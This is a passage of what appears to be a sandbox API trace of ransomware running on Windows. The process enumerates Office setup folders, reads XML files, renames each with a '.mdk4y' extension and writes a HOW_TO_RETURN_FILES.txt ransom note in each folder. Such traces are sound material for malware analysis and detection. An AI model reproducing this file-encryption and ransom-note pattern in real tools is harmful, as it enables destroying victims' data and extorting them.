[0109.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 121 [0109.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.162] GetFileType (hFile=0x13c) returned 0x1 [0109.163] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.163] AreFileApisANSI () returned 1 [0109.163] GetACP () returned 0x4e4 [0109.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRJPROR", cchWideChar=7, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PRJPRORint.en-us", lpUsedDefaultChar=0x37dec0) returned 7 [0109.163] AreFileApisANSI () returned 1 [0109.163] GetACP () returned 0x4e4 [0109.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=88, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\_") returned 88 [0109.163] AreFileApisANSI () returned 1 [0109.163] GetACP () returned 0x4e4 [0109.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37de34) returned 1 [0109.163] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.163] AreFileApisANSI () returned 1 [0109.163] GetACP () returned 0x4e4 [0109.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37de34) returned 2 [0109.163] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.163] AreFileApisANSI () returned 1 [0109.163] GetACP () returned 0x4e4 [0109.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PrjProrWW.XML", cchWideChar=13, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PrjProrWW.XMLTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37de34) returned 13 [0109.163] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818439300000) returned 1 [0109.163] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x1915, lpOverlapped=0x0) returned 1 [0109.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818454100000) returned 1 [0109.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818454200000) returned 1 [0109.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.mdk4y")) returned 1 [0109.313] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.313] AreFileApisANSI () returned 1 [0109.313] GetACP () returned 0x4e4 [0109.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML.XML", lpUsedDefaultChar=0x37de34) returned 9 [0109.313] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818454300000) returned 1 [0109.313] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x412b, lpOverlapped=0x0) returned 1 [0109.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818461000000) returned 1 [0109.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818461000000) returned 1 [0109.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.mdk4y")) returned 1 [0109.381] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.381] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.381] AreFileApisANSI () returned 1 [0109.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0109.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.383] GetFileType (hFile=0x13c) returned 0x1 [0109.383] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.384] AreFileApisANSI () returned 1 [0109.384] GetACP () returned 0x4e4 [0109.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Project.en-us", cchWideChar=13, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Project.en-us-us", lpUsedDefaultChar=0x37dec0) returned 13 [0109.384] AreFileApisANSI () returned 1 [0109.384] GetACP () returned 0x4e4 [0109.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=94, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Őh") returned 94 [0109.387] AreFileApisANSI () returned 1 [0109.387] GetACP () returned 0x4e4 [0109.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", lpUsedDefaultChar=0x37de34) returned 1 [0109.387] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.387] AreFileApisANSI () returned 1 [0109.387] GetACP () returned 0x4e4 [0109.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", lpUsedDefaultChar=0x37de34) returned 2 [0109.387] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.387] AreFileApisANSI () returned 1 [0109.387] GetACP () returned 0x4e4 [0109.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectMUI.XML", cchWideChar=14, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ProjectMUI.XMLosoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", lpUsedDefaultChar=0x37de34) returned 14 [0109.387] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818461800000) returned 1 [0109.388] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5ac, lpOverlapped=0x0) returned 1 [0109.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818461900000) returned 1 [0109.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818461900000) returned 1 [0109.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.mdk4y")) returned 1 [0109.448] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.448] AreFileApisANSI () returned 1 [0109.448] GetACP () returned 0x4e4 [0109.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0109.448] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818467900000) returned 1 [0109.449] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x750, lpOverlapped=0x0) returned 1 [0109.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818475700000) returned 1 [0109.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818475700000) returned 1 [0109.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.mdk4y")) returned 1 [0109.528] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.528] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.528] AreFileApisANSI () returned 1 [0109.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0109.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.577] GetFileType (hFile=0x13c) returned 0x1 [0109.578] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.578] AreFileApisANSI () returned 1 [0109.578] GetACP () returned 0x4e4 [0109.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Proof.enen-us", lpUsedDefaultChar=0x37dec0) returned 8 [0109.578] AreFileApisANSI () returned 1 [0109.578] GetACP () returned 0x4e4 [0109.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=89, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\") returned 89 [0109.579] AreFileApisANSI () returned 1 [0109.579] GetACP () returned 0x4e4 [0109.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.579] AreFileApisANSI () returned 1 [0109.579] GetACP () returned 0x4e4 [0109.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0109.579] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.579] AreFileApisANSI () returned 1 [0109.579] GetACP () returned 0x4e4 [0109.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Proof.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", lpUsedDefaultChar=0x37de34) returned 9 [0109.579] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818480900000) returned 1 [0109.579] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x543, lpOverlapped=0x0) returned 1 [0109.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818494000000) returned 1 [0109.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818494000000) returned 1 [0109.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.mdk4y")) returned 1 [0109.711] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.711] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.711] AreFileApisANSI () returned 1 [0109.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0109.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.712] GetFileType (hFile=0x13c) returned 0x1 [0109.712] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.712] AreFileApisANSI () returned 1 [0109.712] GetACP () returned 0x4e4 [0109.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Proof.es", lpUsedDefaultChar=0x37dec0) returned 8 [0109.712] AreFileApisANSI () returned 1 [0109.712] GetACP () returned 0x4e4 [0109.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=89, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\") returned 89 [0109.713] AreFileApisANSI () returned 1 [0109.713] GetACP () returned 0x4e4 [0109.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\", lpUsedDefaultChar=0x37de34) returned 1 [0109.713] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.713] AreFileApisANSI () returned 1 [0109.713] GetACP () returned 0x4e4 [0109.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\", lpUsedDefaultChar=0x37de34) returned 2 [0109.713] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.713] AreFileApisANSI () returned 1 [0109.713] GetACP () returned 0x4e4 [0109.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Proof.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\", lpUsedDefaultChar=0x37de34) returned 9 [0109.714] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818494400000) returned 1 [0109.714] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5b1, lpOverlapped=0x0) returned 1 [0109.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818506100000) returned 1 [0109.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818506100000) returned 1 [0109.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.mdk4y")) returned 1 [0109.832] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.833] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.833] AreFileApisANSI () returned 1 [0109.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0109.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.833] GetFileType (hFile=0x13c) returned 0x1 [0109.834] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.834] AreFileApisANSI () returned 1 [0109.834] GetACP () returned 0x4e4 [0109.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Proof.fr", lpUsedDefaultChar=0x37dec0) returned 8 [0109.834] AreFileApisANSI () returned 1 [0109.834] GetACP () returned 0x4e4 [0109.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=89, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\") returned 89 [0109.835] AreFileApisANSI () returned 1 [0109.835] GetACP () returned 0x4e4 [0109.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", lpUsedDefaultChar=0x37de34) returned 1 [0109.835] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.835] AreFileApisANSI () returned 1 [0109.835] GetACP () returned 0x4e4 [0109.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", lpUsedDefaultChar=0x37de34) returned 2 [0109.835] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.835] AreFileApisANSI () returned 1 [0109.835] GetACP () returned 0x4e4 [0109.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Proof.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", lpUsedDefaultChar=0x37de34) returned 9 [0109.835] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office 